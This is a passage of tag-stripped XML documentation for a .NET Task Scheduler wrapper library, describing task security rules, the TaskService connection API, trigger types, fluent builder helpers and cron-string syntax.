of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using the + or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. However, the user + interface and methods will always show the time translated to local time. The library makes every attempt to + maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the "Synchronize across time zones" checkbox will be + checked if the Kind is Local or Utc. If the Kind is Unspecified and the user selects the checkbox, the Kind will be changed to Utc and the time + adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is repeated after the + task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the + is unspecified. If the DateTime value Kind is then it will be used as is. If the + DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user interface and + methods will always show the time translated to local time. The library makes every attempt to maintain the Kind + value. When using the UI elements provided in the TaskSchedulerEditor library, the "Synchronize across time zones" checkbox will be checked if the + Kind is Local or Utc. If the Kind is Unspecified and the user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the + value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will behave as follows: + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, + follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is + repeated indefinitely. + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the ITriggerDelay interface. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only available for reading custom + triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every other day, every + third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 + and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from the subscription query + specified in the Subscription property. The name of the query can be used as a variable in the message of a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all entries in the + property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are enumerated and any tasks + registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, then do not assign a + value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty LogonTrigger.UserId property and assign a value to the + principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + 